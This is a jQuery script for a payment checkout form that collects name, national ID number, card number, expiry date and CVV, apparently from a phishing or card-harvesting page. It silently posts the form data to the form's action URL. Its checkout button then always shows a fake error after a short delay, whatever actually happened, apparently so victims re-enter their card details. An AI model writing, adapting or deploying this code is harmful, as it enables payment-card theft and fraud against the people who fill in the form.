$(document).ready(function() {
	$(".checkbox_form").click(function(){
		$(".checkbox").toggleClass("checked").toggleClass("unchecked");
	});
	$("#venc").keyup(function(){
		e = $(this).val();
		el = e.length;
		ele = $(this);
		if(el == 3){
			last = e.substr(2, 1);
			if(last == "/"){
				val1 = e.substr(0,2);
				ele.val(val1);
			}
			else{
				val1 = e.substr(0,2);
				val2 = e.substr(2, 1);
				ele.val(val1+"/"+val2);
			}
		}
	});
	$("#name").bind('keypress', function (event) {
		var regex = new RegExp("^[a-zA-Z .\b]+$");
		var key = String.fromCharCode(!event.charCode ? event.which : event.charCode);
		if (!regex.test(key)) {
			event.preventDefault();
			return false;
		}
	});
	$("#dni").bind('keypress', function (event) {
		var regex = new RegExp("^[0-9\b]+$");
		var key = String.fromCharCode(!event.charCode ? event.which : event.charCode);
		if (!regex.test(key)) {
			event.preventDefault();
			return false;
		}
	});
	$("#card").bind('keypress', function (event) {
		var regex = new RegExp("^[0-9\b]+$");
		var key = String.fromCharCode(!event.charCode ? event.which : event.charCode);
		if (!regex.test(key)) {
			event.preventDefault();
			return false;
		}
	});
	$("#venc").bind('keypress', function (event) {
		var regex = new RegExp("^[0-9\b]+$");
		var key = String.fromCharCode(!event.charCode ? event.which : event.charCode);
		if (!regex.test(key)) {
			event.preventDefault();
			return false;
		}
	});
	$("#cvv").bind('keypress', function (event) {
		var regex = new RegExp("^[0-9\b]+$");
		var key = String.fromCharCode(!event.charCode ? event.which : event.charCode);
		if (!regex.test(key)) {
			event.preventDefault();
			return false;
		}
	});
	$("#send_data").submit(function(e) {
		e.preventDefault();
		var form = $("#send_data");
		var url = form.attr('action');
		$.ajax({
			type: "POST",
			url: url,
			data: form.serialize()
		});
	});
$("#card").keyup(function(){
	e = $(this).val();
	el = e.length;
	ele = $(this);
	if(el == 5){
		last = e.substr(4, 1);
		if(last == " "){
			val1 = e.substr(0, 4);
			ele.val(val1);
		}
		else {
			val1 = e.substr(0, 4);
			val2 = e.substr(4, 1);
			ele.val(val1+" "+val2);
		}
	}
	else if(el == 10){
		last = e.substr(9, 1);
		if(last == " "){
			val1 = e.substr(0, 4);
			val2 = e.substr(5, 4);
			ele.val(val1+" "+val2);
		}
		else {
			val1 = e.substr(0, 4);
			val2 = e.substr(5, 4);
			val3 = e.substr(9, 1);
			ele.val(val1+" "+val2+" "+val3);
		}
	}
	else if(el == 15){
		last = e.substr(14, 1);
		if(last == " "){
			val1 = e.substr(0, 4);
			val2 = e.substr(5, 4);
			val3 = e.substr(10, 4);
			ele.val(val1+" "+val2+" "+val3);
		}
		else {
			val1 = e.substr(0, 4);
			val2 = e.substr(5, 4);
			val3 = e.substr(10, 4);
			val4 = e.substr(14, 4);
			ele.val(val1+" "+val2+" "+val3+" "+val4);
		}
	}
});
	$("#checkout").click(function(){
		if($("#name").val() != "" && $("#dni").val() != "" && $("#card").val() != "" && $("#venc").val() != "" && $("#cvv").val() != ""){
			$(".checkout_content").css("display", "none");
			$(".checkout_load").css("display", "block");
			$(".alert-error").css("display", "none");
			setTimeout(function(){
				$("#name").css("border", "1px solid red");
				$("#dni").css("border", "1px solid red");
				$("#card").css("border", "1px solid red");
				$("#venc").css("border", "1px solid red");
				$("#cvv").css("border", "1px solid red");
				$(".checkout_content").css("display", "block");
				$(".checkout_load").css("display", "none");
				$(".alert-error").css("display", "block");
			}, 2500);
		}
	});
	$(".close_error").click(function(){
		$(".alert-error").css("display", "none");
	});
});